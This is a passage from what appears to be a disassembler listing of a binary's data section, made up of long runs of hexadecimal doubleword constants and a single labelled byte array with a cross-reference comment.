		dd 0D2553B8Ch, 3AF1C372h, 0CBAC49E8h, 6E941CA0h, 0CE759945h
		dd 817BC09h, 3B58A088h,	0B4C10A71h, 5B4D2AFh, 7080EECBh
		dd 5062205Ch, 50765433h, 8E28F6DAh, 74E60E3Ch, 4304F24h
		dd 0BEB405BAh, 421E292Ch, 28F11507h, 82CE399Ah,	0E2F344B8h
		dd 0C0183359h, 0C4F53EE8h, 84467A81h, 8108184h,	3944B82h
		dd 0F8756BF6h, 4C307C07h, 0BC4CA46Ch, 6FCECFB0h, 3A59F862h
		dd 0FC186BA6h, 9E69A891h, 60B1F841h, 1405C84Eh,	90F6884Eh
		dd 0B9271A40h, 6CDABE12h, 0C7382511h, 0DF47DDC1h, 0FA44023Bh
		dd 914960Eh, 376F9738h,	47DAA8A3h, 3C4580DAh, 8D9D6F81h
		dd 0BC648EFFh, 2772000Eh, 6E1340C0h, 760044E1h,	3DA8160Ch
		dd 74EC5B43h, 1E217BD8h, 0A94027FEh, 0DF458114h, 3D4858h
		dd 21F72101h, 1B402027h, 4102DA9Dh, 131CF0D3h, 54C02601h
		dd 0DC6027F2h, 4470C5CBh, 205C5D71h, 0C110BC3Ah, 0BB58F4BDh
		dd 0F1B83063h, 0C94B400Ah, 94821C6Fh, 20543738h, 2B80A3A1h
		dd 0C8524CE4h, 8B500014h, 60E252DBh, 10813D7Fh,	0CE202607h
		dd 3E0428Fh, 0E6831898h, 0C0A9753Eh, 0C8D72961h, 0A98EC0A0h
		dd 1B03825Eh, 26417F5Fh, 2E503028h, 1F63C008h, 19EFC0F5h
		dd 876F70C7h, 9AE164CAh, 8BE81297h, 75CEB058h, 5E28C691h
		dd 2C634088h, 1FADA0B0h, 58E7609h, 2819E880h, 87155960h
		dd 0CC498D7h, 80D49101h, 98D163B4h, 2CC5823Fh, 0F1A0E7F4h
		dd 0E0A9D066h, 20C0406Dh, 211E7DD2h, 18299EADh,	31CEE00h
		dd 0A093A52h, 0CF8417F9h, 9E51894h, 2B5178A4h, 6C040C08h
		dd 1492E10Ah, 0E9F60C11h, 3100305Bh, 0CAEC965h,	513AD46h
		dd 0C5078DEFh, 6BD122BCh, 198247C7h, 0BF8B7201h, 10CB8802h
		dd 18A02395h, 2184C610h, 791570FDh, 42F1380Ch, 38038408h
		dd 2A3C7995h, 6D210C40h, 0D1E31F20h, 21751079h,	7DE8E28Eh
		dd 1448A995h, 4182915h,	8133725Dh, 23E1D404h, 0C05FDD1h
		dd 181D2527h, 53F61970h, 949F0541h, 1BF7A97h, 0A0DB0EE5h
		dd 0E5642413h, 3C91D900h, 0A6291B97h, 0B2801E22h, 0B8287Fh
		dd 7748DB13h, 73899D30h, 55839100h, 0EEE5C16Dh,	47E705F0h
		dd 0E33E9Ch, 911A6AC8h,	0BC00ADD5h, 36AAC83Ch, 45DAFAh
		dd 0D7B143A5h, 6CF4DCE6h, 2007CA76h, 8ED1F8B2h,	0D948C14Eh
		dd 79F88926h, 0DE8A0092h, 5F6BA865h, 5115D706h,	34C8188h
		dd 8476DE9Ah, 59E0C095h, 86E50EBAh, 0ADAA63CAh,	5B93809Ch
		dd 6EDF1AA7h, 59327000h, 969AA625h, 0C0210355h,	0BA60EA8Ah
		dd 3F31D0F0h, 17012C90h, 0D90B0946h, 1C5C7FAAh,	0C0C143D3h
		dd 0FCB41694h, 9D100A4h, 0A88B2C72h, 30A7A9Bh, 0C0E5502Bh
		dd 1020D7F9h, 0BD2E1FA6h, 0D1A3C09Fh, 44233F6Bh, 738D29C0h
		dd 3C77EB8h, 3E344CB0h,	6CA0D86Bh, 63003853h, 0E5C4B4D9h
		dd 0A460DAA2h, 9CB0005Ch, 31EDDC0Fh, 901E4D46h,	88075805h
		dd 0D7611C5Fh, 30D43661h, 0A0A87EF5h, 267C54ACh, 28C188Eh
		dd 0CEBEC031h, 38A3C040h, 519B7512h, 20DC300Eh,	1C76BF48h
		dd 0F2401863h, 0C96729ABh, 5D204FE6h, 0D65702FBh, 2434E81Fh
		dd 5608589Dh, 2714D64Eh, 0A04C4FB5h, 4CC9D6A9h,	0EC00E86Ch
		dd 0BCBAD773h, 0CE04215h, 0C74FB4A0h, 0F90BEA04h, 38817A59h
		dd 40345352h, 48311D7Fh, 0A6640FB9h, 0BEF43118h, 2A55B600h
		dd 521F9F50h, 53B201FFh, 6771B459h, 87426C7h, 5E8A6AFDh
		dd 1276BC1Eh, 3856A700h, 78ABBF23h, 0D30619E7h,	0F56580C6h
		dd 0E5CC206Eh, 30B66A40h, 0B44095EBh, 940665ECh, 0C3E3599Fh
		dd 0E0A60030h, 6341D89h, 0DEE6A36Ah, 407BACA5h,	1CDAFA98h
		dd 4DBE5A6h, 8AB8B353h,	0B5BE0E94h, 91ACC032h, 0EDE667h
		dd 0C98C44A3h, 589F7FF1h, 9D002DE4h, 8713C8EFh,	60B5EC57h
		dd 7B446827h, 4500C9EDh, 92F499FEh, 6F93E9Fh, 8E1F2818h
		dd 8DD9A0Eh, 0DF9AE540h, 38D435h, 7AAA770h, 8D2BE17Ch
		dd 0E779BC05h, 69FCF1B5h, 0CD184F01h, 0ECE10394h, 951ECC53h
		dd 0DBC07C74h, 0F887223h, 0BF1100C5h, 5E935D59h, 18E04B17h
		dd 230EE479h, 4C0F16D3h, 7BCC3031h, 8F963374h, 4F88C88h
		dd 3D000583h, 7AB1E665h, 7AD2B621h, 7E4F1497h, 20808490h
		dd 118D30B8h, 0EA007578h, 0FC9B81C0h, 52097Bh, 1CCE4272h
		dd 19E1065Ch, 0D3449900h, 0B9129397h, 2390064h,	0D32620Eh
		dd 8C3EFE83h, 81E981E8h, 805FEA21h, 90E3E6CDh, 35ECE47h
		dd 0BC949945h, 0C0CF194Ch, 0BEE51C8Ah, 0E207EAF8h, 3C3E80B9h
		dd 0FD971890h, 4DA20054h, 15D02A1Ch, 8F073AC4h,	0B14E482Fh
		dd 8B4F1E40h, 39877E2h,	330378D2h, 0E9E836D0h, 1207F405h
		dd 9A068144h, 0B64143B0h, 0ACB4009Ch, 1A8E9210h, 7A01C218h
		dd 0CE466665h, 0EBD0F7FEh, 0C4C60006h, 0B259D66Bh, 6703C8D2h
		dd 8F4B5217h, 0E02CB0AFh, 0FDAD07B7h, 405318EDh, 0CB7A6982h
		dd 3485900h, 5EADA4Ah, 0BE3000E8h, 0B9E014AFh, 0B10F858Dh
		dd 0E17E04DCh, 5A13B3FCh, 779D25E4h, 72FAE3h, 0CAE8638Ch
		dd 928BC009h, 6A80A00h,	7A4E1078h, 0A9AF1CA0h, 0CC1E5D96h
		dd 4630B95Dh, 6F0A7619h, 0B2401270h, 75FDEF0h, 7B183BEBh
		dd 8089650Bh, 0B6338186h, 0D0DAAC05h, 8028678Fh, 750A40F0h
		dd 5BC144A5h, 78BA040Bh, 761B086h, 256E0F7h, 74B91CC4h
		dd 5BEE906Ah, 0C9C0A406h, 9207E9Ch, 0CEA85C91h,	2111D18Dh
		dd 2C5DC4E3h, 0FC0611C5h, 1154CF0Dh, 0A8EFC4ECh, 10BD3710h
		dd 18324AF0h, 3D79BB04h, 8D380373h, 67DBFDD2h, 7ABF0AF8h
		dd 0A70946FCh, 2A97D168h, 35863040h, 0D00A6Bh, 65A176EDh
		dd 859C6980h, 0D8CABC33h, 0F89E39E6h, 9C420514h, 4AB6A502h
		dd 0C0A0F3AFh, 0EA522DA0h, 75D7600h, 343573D3h,	9F190489h
		dd 88E26385h, 0ACA0E400h, 0C9C36B48h, 3D59D28Ah, 0BC817E40h
		dd 4C285BF9h, 151AD852h, 0E45E322Ah, 0FED2F000h, 62A4C677h
		dd 0A182A013h, 0B89F01DFh, 0CA9C9A92h, 0CE4AF0F1h, 51CC3C00h
		dd 0F4C5620Ah, 0F83EF049h, 73F095h, 0F6C31EC4h,	81016F79h
		dd 0BF084568h, 0C5A5830h, 193E0D0h, 0C4EEFBA6h,	0EF61C544h
		dd 3F912100h, 0F314E54h, 28F32D95h, 5E3A87F0h, 5813800Bh
		dd 46B264A2h, 0DF0600C9h
		dd 7C3D4CF2h, 7F79E551h, 0C79C2801h, 0ED415F9h,	3F5F7D0h
		dd 1F1380A4h, 0C0005982h, 9F3CC295h, 74BE1B1h, 97DC0A9Ah
		dd 0C9A4468Ch, 0A1248300h, 1D2A3B50h, 34B303FDh, 17028F75h
		dd 84B0C79Bh, 61610ED9h, 3DDDA51h, 0FA528040h, 6DB60098h
		dd 2420E2C7h, 30002BA2h, 46BC7C67h, 603D51D1h, 0FDF33856h
		dd 0D703187Bh, 0F6421F62h, 88AEABBEh, 70373A4Bh, 0F7C10099h
		dd 40517B1Eh, 0CB347447h, 0AE6802h, 6D384E1Fh, 0D70EDD50h
		dd 868DE008h, 9820D184h, 4D1C00D0h, 6DB18280h, 98F858B8h
		dd 341889E0h, 0E37803B5h, 30E56056h, 5083354Ah,	0A35BB101h
		dd 97F9E137h, 0FFB008B9h, 50B95520h, 1571CA01h,	3E708B26h
		dd 0C78080D6h, 0C175B0F2h, 0F41101A8h, 7F9040BDh, 1701B713h
		dd 5763AA8Eh, 6560DA7Ah, 0A97C0E9Ch, 0E0A0EC83h, 50F9A52Ch
		dd 0F5C49B0Fh, 490EE10Dh, 58E57069h, 9E29EDFCh,	0A1610058h
		dd 6E54D404h, 5BAEC00h,	0B95F216Fh, 0B24107F5h,	159F473h
		dd 0D4E60CFFh, 0A101EADEh, 0FAC215BFh, 0B7DCE1F6h, 0BE50065h
		dd 0B8EC7287h, 0E25C091Ch, 0EEBD07FDh, 6BC09B5Ch, 5A311Dh
		dd 0B48025E5h, 0C1146E20h, 52EC60E4h, 0A358FD09h, 39A4004Fh
		dd 0F093EEB2h, 74440059h, 0FF13C7E8h, 5A3CC5A8h, 0F4E6032Fh
		dd 47CC6B8Fh, 34FC0418h, 504CD200h, 3FFE1BCBh, 2827009Dh
		dd 0CA7AA31h, 54305B8Eh, 0A52B30FBh, 13C63FA3h,	0AD817807h
		dd 4582C1C2h, 3418A3C4h, 0FCADE56Fh, 0DE0C4C2Ah, 9F320D24h
		dd 95E8EA00h, 499EF048h, 3F371DF5h, 7A2282C3h, 0C874A2Ah
		dd 3441D8F7h, 2B12EFF6h, 445418A5h, 21352324h, 0F08AFC9h
		dd 52630CA9h, 0F919FB30h, 0A4071852h, 33315B0Ch, 42740836h
		dd 30172A43h, 15A32821h, 0AD10181Fh, 680B8804h,	0C28D6024h
		dd 91E660FFh, 262E2B01h, 7B659448h, 19860C42h, 42570C91h
		dd 887D2122h, 144233Ah,	2D8CD730h, 847AED88h, 18297028h
		dd 385E5944h, 88A2365Ch, 0BDE75818h, 84CA3A19h,	3EC2F420h
		dd 8F802CACh, 9E0A7C46h, 0C00174A9h, 39A3451Dh,	70D05562h
		dd 96D80054h, 0B6C873BBh, 0A800326Fh, 49A6D79h,	4BFDCAh
		dd 3CCB3530h, 0C11274AAh, 0B5E8B00Ch, 2AD7A01Ch, 3E984E88h
		dd 6120F835h, 0E9783900h, 84B576Eh, 0FD120777h,	0C3E23F52h
		dd 0A000E8B6h, 0BE1715F5h, 7AC3E0Ah, 3D1FA99Dh,	6FB87154h
		dd 0B21A306Dh, 0B18A8C0h, 30C15669h, 6B884653h,	1A297D95h
		dd 74501CBDh, 435B09FAh, 0BC86D6F2h, 3000B087h,	0DEB165Ch
		dd 30246EF6h, 59883D46h, 2BE2F15Fh, 9670E30Ch, 72F5839h
		dd 9887EB74h, 116450B5h, 0F1018CBBh, 4014891h, 0C8574A79h
		dd 24DF8FC0h, 50AB60AEh, 831F3E4Fh, 0BFB1480Ah,	65001478h
		dd 0F9F1F027h, 983D371Eh, 0A9859069h, 0BA00B97Dh, 362705AFh
		dd 93E0BFh, 3B12802Fh, 9A52C738h, 3FF6A93Fh, 3DAC1F6Ah
		dd 47EFA287h, 9953CF40h, 32661C5Dh, 0C1F1C261h,	9C833D13h
		dd 0EEA3240Bh, 0C5EB9800h, 7066771Ah, 2C0300FEh, 1C57E1F5h
		dd 5000127Fh, 77446C1Eh, 1FCB42DBh, 67EE3A3h, 0D16ABF5Ch
		dd 7049DF07h, 0D53F7FE0h, 0AF31C040h, 504E693Fh, 0EA5C8B3h
		dd 6ACCB456h, 398C46C0h, 7C029ED1h, 0F665D02Bh,	0FC0AE6Bh
		dd 348E00D9h, 54419E13h, 3003F429h, 0EE8907C3h,	10035477h
		dd 0CB55B14Dh, 0E0190043h, 47D2C591h, 6C245036h, 0CA067CE8h
		dd 6D831D6h, 0F84F06E0h, 23B18A3h, 70BD3C18h, 144EEC0Ch
		dd 57AB319Eh, 86078430h, 63206272h, 28000710h, 0E2A6B246h
		dd 18DD4216h, 0A8F1C041h, 18904B64h, 9C377B19h,	7C23BF50h
		dd 1326004h, 0A0948731h, 0BCB0FA2Ah, 27F52006h,	14186203h
		dd 88DE2476h, 83BE0784h, 8C885048h, 0C21251E2h,	0C803B6BBh
		dd 509734EEh, 0E8B22540h, 0A8E9507Ch, 0D6E224AAh, 548C008Bh
		dd 0C284AF69h, 51E39300h, 90F6EDCBh, 0FB3528A3h, 48241880h
		dd 0D35938C9h, 0EB9E1200h, 8EB9E815h, 8D50EA6h,	0F380195Bh
		dd 65CB5260h, 5929BE60h, 26F2133Fh, 1343BF2Bh, 44052CFh
		dd 7CEAA08h, 2F707550h,	24543DAh, 3B0A6D7Ch, 9081389Ch
		dd 8A1BFD8Ch, 0D09D02D0h, 0C74D414h, 0B01ED03Bh, 0ACF40A93h
		dd 0EF30CE50h, 30A9D802h, 8041F738h, 652870EBh,	48A098B4h
		dd 224C7E7Ah, 0DC421D10h, 45CEB0Eh, 489066DEh, 0E00AE6B8h
		dd 9A5F264Fh, 0DBE38F9Ch, 3AC02DAEh, 0A3A7570Ch, 106A2A26h
		dd 83925640h, 0B41601A6h, 0B9EDD060h, 12A841D5h, 1E642041h
		dd 28A7EC28h, 0BE0EE3E0h, 94DDF211h, 0A640399Dh, 35602405h
		dd 3F1A9BB7h, 0C43F538Fh, 50B8E80h, 3F07833Bh, 8739E370h
		dd 41BC005Ah, 4603E263h, 25152667h, 0C144708Ch,	2660520h
		dd 7B6A31E3h, 50459A56h, 4013A603h, 0C89CE991h,	7005833h
		dd 44DBB359h, 80C010D7h, 459D9C30h, 99310180h, 36D51A27h
		dd 0C421CDh, 55B0BF94h,	0EC63C900h, 6EFF46E3h, 0B90916E0h
		dd 0DB486005h, 550165EAh, 2A3E622Ch, 2464FAA5h,	59EE77BDh
		dd 9C16608Ch, 0BF4443F3h, 0B103B713h, 0DEC603F5h, 8FE80110h
		dd 0E6ABC99Ah, 0DBEC41BEh, 3A403283h, 8A5487CBh, 2F690D96h
		dd 25A840A0h, 38556344h, 0D7163C93h, 0A610006Dh, 0E2014566h
		dd 0DF31D978h, 1A2031A9h, 3CB51810h, 0F768BC60h, 60656D07h
		dd 6C3F2981h, 34907F2Ah, 9C00FE75h, 14572ED5h, 0A0BFAC54h
		dd 338ECD0h, 0B8E4F26Bh, 4BE043A8h, 0E0096D0Fh,	8380A322h
		dd 46CA507h, 6116C811h,	30B57272h, 15098AAEh, 801D3B2Ch
		dd 0FC61D05Eh, 0ECA8034Fh, 0DDE446F9h, 78C23000h, 0D1E88944h
		dd 2B620004h, 5C8359C4h, 2313B43Dh, 0EF5BE9h, 47FF9900h
		dd 69CADA39h, 0BE2004DBh, 0EA3E8306h, 0E18230Ah, 2F1B4866h
		dd 4B403B40h, 0FC00D9AFh, 0FBBEF5F4h, 0C5DCAED4h, 80FF1B81h
		dd 822223CBh, 0C3E9B900h, 3EAF3ACBh, 6D7302h, 0FCAE9D7Dh
		dd 6EF5DC11h, 0CC14160Fh, 338C25A1h, 59704400h,	2DA8DDh
		dd 6D2E4D03h, 0D42315DEh, 18FCAA3Dh, 20B1A149h,	62F00028h
		dd 830C0613h, 0B400D225h, 584D08F2h, 60C9E076h,	655BC80Bh
		dd 6914D9D1h, 285A36h, 0D6A9BE60h, 6FF81E0h, 57EFD38h
		dd 0B30110D7h, 204DD36Ah, 58D815CEh, 301C5499h,	0F995E937h
		dd 0EE384845h, 0B5E24FFh, 0E474040Ch, 4781C0D7h, 1E009A04h
		dd 9F80D437h, 0DDA66h, 0C3963AFDh, 68D34278h, 0E0CDFF0Fh
		dd 0A40DEE8h, 0FA939AE4h, 1C7A0Dh, 0F0A22E8Fh, 6651BE3Eh
		dd 0FD13B603h, 8070ABC8h, 0A84167h, 5A4B9946h, 0FCC2A1Fh
		dd 8DDE4500h, 16E62DEBh, 0EF1A00D4h, 0F47FA472h, 89C059F9h
		dd 68709951h, 6225070Eh, 3FDC249Ch, 90E0AA4Eh, 669AE2D9h
		dd 317CF930h, 1687328h,	0DCC6C521h, 96048A0Ah, 0A904A918h
		dd 0FA7555h, 619A37EAh,	1400A076h, 1A6FE08Ah, 0F8A9E3ABh
		dd 0E56D03DBh, 0E882C898h, 0BDCC1400h, 92CE1DCBh, 0F4AD00D7h
		dd 3E3A0106h, 4C02E98Ah, 0ADB1A9Fh, 5049EA0h, 37A258F0h
		dd 93E1C05Eh, 54001F30h, 900F8412h, 0DF8056h, 0C14C3DC3h
		dd 768B6ABh, 448D4100h,	0FACF908Eh, 0C65403E4h,	0D289E26Ch
		dd 30BF0818h, 1D15CD20h, 4011178Dh, 0ED941A13h,	0E7007EA7h
		dd 4DFF57A0h, 0CC5DD2h,	0EE442EB0h, 7F52BEAFh, 0EC7DB2FEh
		dd 0ED054800h, 44797533h, 84030023h, 0C8B4027Eh, 0FB7F1F4Ch
		dd 0C246CE00h, 865D498Dh, 0D7000FAh, 0F43BC368h, 0F10088B8h
		dd 63927C1Bh, 0C006B128h
		dd 3A663D08h, 300018F4h, 71C69084h, 0ACFE01h, 4843AAD8h
		dd 0BE095323h, 0DC22C91Bh, 2624E0D4h, 0FDDE863h, 1B6BBF77h
		dd 327CE403h, 1A420800h, 2D2BFB25h, 63F4E884h, 0AB3028DCh
		dd 0C3C22ED0h, 8FAC3300h, 5705167Fh, 425B013Dh,	68968CCEh
		dd 3CD0F454h, 0C0E05100h, 7270D627h, 0D35A00E2h, 2A79309Ch
		dd 4E7E44D8h, 0E04F2F37h, 1E5F0280h, 0A0684E90h, 696374C8h
		dd 4BC508h, 3187A230h, 975DD171h, 25550300h, 0C88C33EAh
		dd 0CDD806F3h, 0F8BF3C1Ah, 0E0750C3Ah, 34782D58h, 4C533DDCh
		dd 88007ABEh, 62D83654h, 1500143Ah, 588547F2h, 3AA7E3EEh
		dd 5B184B70h, 90EF409Ch, 6B661207h, 24001520h, 0AC5FFAB5h
		dd 0F10104CCh, 620A7C2Eh, 5BF520ABh, 9B04C383h,	518AD317h
		dd 0D08FB583h, 0F6EE4B80h, 0BC875233h, 0B36450h, 0D5592370h
		dd 0AE307F86h, 37DD7E00h, 552E7C4Fh, 7B0200F3h,	0F70B0A6h
		dd 0AB006D2Fh, 1337EBD2h, 543924h, 5EEE0A49h, 794B58C0h
		dd 5037BB74h, 60D020D4h, 0F2EB49h, 0D611C31Bh, 37D1084Eh
		dd 93DAEE00h, 0A8024847h, 0E45B0052h, 7A3841D3h, 257C2B01h
		dd 1B357900h, 0DC69CB62h, 0E25B06A6h, 0B0194E3Dh, 0B9A81300h
		dd 4D5C70D1h, 0C5AC008Fh, 0EC3FF23Ah, 0E60065BCh, 1BCF5426h
		dd 1056BF8h, 95EF7563h,	805A666Dh, 86154440h, 82F51Bh
		dd 0F2963B71h, 0EF453CBFh, 0BC3348h, 99583ADh, 910CABh
		dd 7A3D378Fh, 24D6311h,	64C4E01Ch, 6B1DF480h, 18BB20D6h
		dd 0A0273B4Ah, 0AC000833h, 15626FAAh, 0CE2A7C3h, 5C5EA54Dh
		dd 3E38DC80h, 0AF2A80ABh, 9DDFF3A3h, 5270E479h,	68B75471h
		dd 401069C2h, 0AA2288E8h, 3915C190h, 0CBA9CCh, 41D07F5Eh
		dd 0B117264Bh, 2400C37Fh, 0EB77559h, 16DBDC12h,	1DE8EB79h
		dd 233907EDh, 5F15105Ah, 0F8074E61h, 5B4B223Dh,	640DD260h
		dd 1C906Dh, 0CB501E1Bh,	19B8AE13h, 0E996EF0Fh, 237283C4h
		dd 16D02969h, 631E0338h, 62CCE667h, 961A2030h, 0C4EE755Fh
		dd 0D007F8EBh, 34E59912h, 3DE12806h, 1C590008h,	78724C71h
		dd 6B18F521h, 9EE09574h, 23C0082h, 1009A5F8h, 2F0CDEE1h
		dd 0C0743DBDh, 5EED02D6h, 1E8A871Ah, 4572A0A7h,	50B86786h
		dd 0AADA4D60h, 48107A43h, 9F651C0Fh, 3F21BC80h,	1A43D71h
		dd 0CD6E7372h, 416F2012h, 0F491928Ch, 21B5360h,	0CBC1BDBFh
		dd 22C930CCh, 0B31073F1h, 3BC79D00h, 0ED9A0972h, 399920B8h
		dd 7BE041Eh, 22C8A245h,	3595BC61h, 656C8h, 5AA57052h, 12196514h
		dd 54AE7709h, 0A4C400DFh, 0F0A9EBF9h, 98E003D3h, 0EE064A81h
		dd 0B807D10Ch, 48D05169h, 0C00013BAh, 6A5B26DBh, 0F061904Eh
		dd 0BF407BF0h, 0BE6FFCh, 16E0F56Bh, 0D2AF724Bh,	0D3B8C00h
		dd 7879956h, 0CF9314D6h, 0A000B819h, 0E917DEFDh, 6D3D5F26h
		dd 1CECA6C8h, 0BAD004Bh, 99BB06EEh, 0DA1D881Ch,	5DAB9900h
		dd 0C9B6A1Ah, 41E9D28Bh, 2000C418h, 22365F3Ch, 4D5048h
		dd 4E343085h, 0D9416A42h, 3D024B13h, 97D01860h,	0CA41C088h
		dd 0B8160ACCh, 0FA2B70F9h, 8A306238h, 50B96D65h, 95DAE40h
		dd 86BCE8EEh, 0F8D244h,	0CE3D497Ah, 0C1AEB453h,	0A4526000h
		dd 0D41FE530h, 7B240040h, 12CB8998h, 0E7000859h, 569D9A7Dh
		dd 8238E8h, 33C87FFCh, 9EDF7CE3h, 0FD3C23F8h, 570300A8h
		dd 2F4BF23Eh, 4C3C0036h, 23B033FCh, 0E30BC9A2h,	774A5E90h
		dd 0AE54A10Fh, 7521A531h, 54A02B2Eh, 0C908007Dh, 0D295CA32h
		dd 0E6181F80h, 23809D7Fh, 2D7400B3h, 11CDA87Bh,	6C009FF4h
		dd 2A5AA30h, 69D3BEh, 9D23C5B9h, 896B28CBh, 81F7BA3Ch
		dd 0DBC82D55h, 0C0DA560Ch, 3A63BDBAh, 3F81C22Bh, 249EE334h
		dd 0F4CDF8D7h, 587EA100h, 30DD7746h, 51BA1EEFh,	0F01D81B7h
		dd 0D8EDB4F1h, 1200CF19h, 38A4A137h, 53B8569h, 0C1AF8974h
		dd 0F198037Fh, 0B8029E15h, 16D48FB5h, 0B86C60D2h, 0E29200E6h
		dd 6F66A6E4h, 401D284Ah, 9D00F52Fh, 5D5EEA3h, 0C8B46130h
		dd 0D86D397Dh, 0B207CD32h, 0CBFA8FE1h, 579443h,	59DF1820h
		dd 54DCEBC1h, 8B918300h, 0AF1A70D5h, 0BC521D82h, 32AD019Fh
		dd 0F07E7F03h, 10E9D6CFh, 0F93C5E8h, 3C59974Dh,	1861B386h
		dd 859A2900h, 41147801h, 1F3A79D3h, 8455288Ah, 879FAD53h
		dd 8D0490DDh, 3C07A3F2h, 89B2B932h, 5A80FEC0h, 2180E90Bh
		dd 44ECBEDFh, 960CEE69h, 80833BC9h, 0A5623B0Fh,	11530500h
		dd 0D09F015h, 8C61F9E8h, 0A0BA3020h, 0CE4DECh, 9F123433h
		dd 3CA282D5h, 3DAFBE03h, 0E169474Ah, 0D19F6AECh, 807F8F1Eh
		dd 0A80502Eh, 0B17F8EBh, 20691030h, 7B1D09h, 2C21C56Dh
		dd 2384F8Bh, 18271A00h,	686A43A9h, 28EB547Eh, 8ECF0A8h
		dd 0B0CB0EFh, 5F6342h, 1E7BBFA5h, 0C790C200h, 0D5663B51h
		dd 0D34E0006h, 0F2E46D42h, 72400D98h, 0E92F00A2h, 0AAB77315h
		dd 0BE608E3Bh, 62E2DF08h, 64421DAFh, 0ED45CE8Bh, 9C377D20h
		dd 5700B682h, 0E2F4CAB7h, 0C0C897h, 7BE12D4Ch, 6E7D4570h
		dd 34F71902h, 0A1CBF295h, 0ED6914E0h, 7E976448h, 0C8FF1085h
		dd 8357C81Dh, 0DC7B2FACh, 9C231EF8h, 3B26C107h,	3A8508C2h
		dd 0E45B442h, 0B7E0B0A2h, 87AE08A0h, 7C640D2Ah,	0A29E6F40h
		dd 0FE0076C0h, 8D9A7008h, 0EA92299h, 403AF595h,	0A32A71A0h
		dd 0B800EB38h, 0D666239Bh, 90BC93F1h, 0DFDD0183h, 5B0E2583h
		dd 663C50CAh, 8810A7A2h, 48C715B2h, 641AB013h, 3713A5FDh
		dd 0C001B99Ah, 67E1111Dh, 0D8C71321h, 0AB3D00Fh, 0B7C8EF21h
		dd 16F18198h, 68AC98h, 2E1B656Ch, 7762EE4h, 0F37E8813h
		dd 149AB916h, 7AC0A843h, 74909C3Fh, 60ACD640h, 0A887085Fh
		dd 0D7001064h, 9A36F2E7h, 0ADDF7Fh, 0E84B7EACh,	118EA6D5h
		dd 0EE0CF67Fh, 307C9198h, 6DA300C8h, 238BDC28h,	3778D117h
		dd 7C01600h, 0D3331065h, 88BA00F2h, 3F5F5914h, 110149EDh
		dd 0B8D7FEE8h, 48BC9D50h, 0C2920379h, 0B11C5FC1h, 0ADC375B0h
		dd 0B43FFFF4h, 2AD28017h, 9A671ECBh, 0F24B0093h, 0EC84231Ah
		dd 0EE386C1Fh, 2F340308h, 0C00C940Ah, 0C6DB19Dh, 0B7175799h
		dd 0CC0035C8h, 3485F5E2h, 74BF82h, 64772FF8h, 12F7BB6Fh
		dd 54EB0500h, 3E171FF5h, 0ED75009Eh, 4310E3A9h,	6600F714h
		dd 0A4B713DBh, 0EC5E1E9h, 25848B41h, 0ED496F40h, 9701DCE7h
		dd 53CD9347h, 62201EA0h, 0FC35018Ah, 3B3DF373h,	0D9AFD0CCh
		dd 0EB3F5AEEh, 2B8F8210h, 40D7261Ah, 0E40B9Ch, 0B20DDE57h
		dd 3AFC117Ah, 55159B00h, 60AC6E41h, 1D88E6E2h, 0C07A6874h
		dd 0C9324ACFh, 0E3FDF08h, 576483B2h, 0E09F0DE5h, 0CBDCBFh
		dd 0E90BC05Ah, 684C2A58h, 64651E1Ch, 0DE75F187h, 26B06987h
		dd 39F69590h, 6F007704h, 584A60FCh, 0A606FFAEh,	92126AFDh
		dd 79D90CA0h, 97B8FE77h, 43CE2C00h, 5BE31647h, 489139AEh
		dd 8FFAF00h, 6BCA499Bh,	3DA0581Ch, 2D6E6A40h, 3C1CD5h
		dd 760566D3h, 0BDA7311h, 3D0CD048h, 0E7FA8065h,	8D95A4A3h
		dd 69E02Dh, 13B54B9Eh, 560AD3BDh, 4DE72A00h, 7C61EA9h
		dd 0E8E8D8h, 0D3F2D08h,	3D4A8B78h, 0D409451Fh, 0BF2A9485h
		dd 1564B4C0h, 73FF0056h, 79CEC77h, 400278FDh, 3F66F154h
		dd 2EDAC07Bh, 89400D1h,	2E7A9DBh, 5200974Bh, 0CD2398C3h
		dd 5C799957h, 3B00F4A5h, 1912BD31h, 1B0ECF5Ah, 60481CDDh
		dd 0B655DEEBh
		db 0B2h
byte_4E0049	db 18h,	0FBh, 0ABh	; DATA XREF: ___:0042CC94o
		dd 43A63899h, 7E1D4202h, 60F7F907h, 0E849C74h, 0FD08BA13h
		dd 6B0E3E20h, 0F6073DFAh, 0FF03E02Eh, 57BEA180h, 884E0043h
		dd 11258D56h, 66013270h, 583FF8D2h, 7FDCB1A8h, 2F2A00EEh
		dd 69180AC2h, 0E50ED811h, 922582h, 0D30541E7h, 52E2005Ah
		dd 6F56A5BBh, 9E006688h, 0B34CF2D5h, 0AFD86Eh, 0F5C90994h
		dd 501BB1B8h, 95C04001h, 4385BEEh, 11E83E4h, 0A437F885h
		dd 303C2396h, 0EE3E92D7h, 73D9803Ah, 3284A262h,	5A340304h
		dd 0A77A1296h, 43A8119Bh, 2DE6B49Fh, 1716303h, 675D677h
		dd 0A8476628h, 1B7E5C03h, 20E60770h, 80084E3Ch,	7699C91Ah
		dd 782467CFh, 8CA8000Bh, 0F22E1B3Fh, 0BC006658h, 0F877F957h
		dd 30B10Dh, 68C3B4C2h, 9E8174C8h, 59A24C07h, 72B04A87h
		dd 0B9A85Ah, 6553C630h,	7B9D7179h, 78869807h, 91E02659h
		dd 17FFB8h, 6ADD0DC3h, 7C85DEF8h, 1887E91Eh, 0CB00D428h
		dd 0CA9424B2h, 4295D4h,	40C9059Fh, 0BEA215Dh, 1EFEA703h
		dd 0DDDD76EDh, 2801ECF8h, 0A5BE12BFh, 3FB3203Dh, 4907D207h
		dd 31E0EB3h, 0F0DF9A5Bh, 0A07E81D7h, 9983E8h, 0D2F26B40h
		dd 26706D01h, 73873600h, 3DD9D3CDh, 23B90327h, 6BAC095Eh
		dd 474463D0h, 49D79A00h, 0F0FB7FEEh, 0E730084h,	1E6B907Dh
		dd 4C00AE94h, 8198CB3Ah, 0C34FA2h, 0C2708056h, 0DA93110Dh
		dd 0AA73780Eh, 3A5F4747h, 1A46B9A0h, 0BBB20089h, 0F0333037h
		dd 0C40003DAh, 39A2761Bh, 0AF96C0h, 877D7CE8h, 365A62FEh
		dd 1178B430h, 49721Bh, 381A171Dh, 0E93BD60Fh, 0F79FA000h
		dd 3D5AA159h, 0D2360153h, 0E80195EEh, 0A0D1C8BEh, 20064F0h
		dd 0BCC13DD0h, 7C363158h, 850B0095h, 0F4EE5DC5h, 65004C8Ch
		dd 2A48B0F2h, 0E0946Eh,	0C0B6D1ADh, 7D0B8DF7h, 0CD476500h
		dd 5C80305Dh, 0CB6F16AFh, 48D0013h, 927DC79h, 2FBC0800h
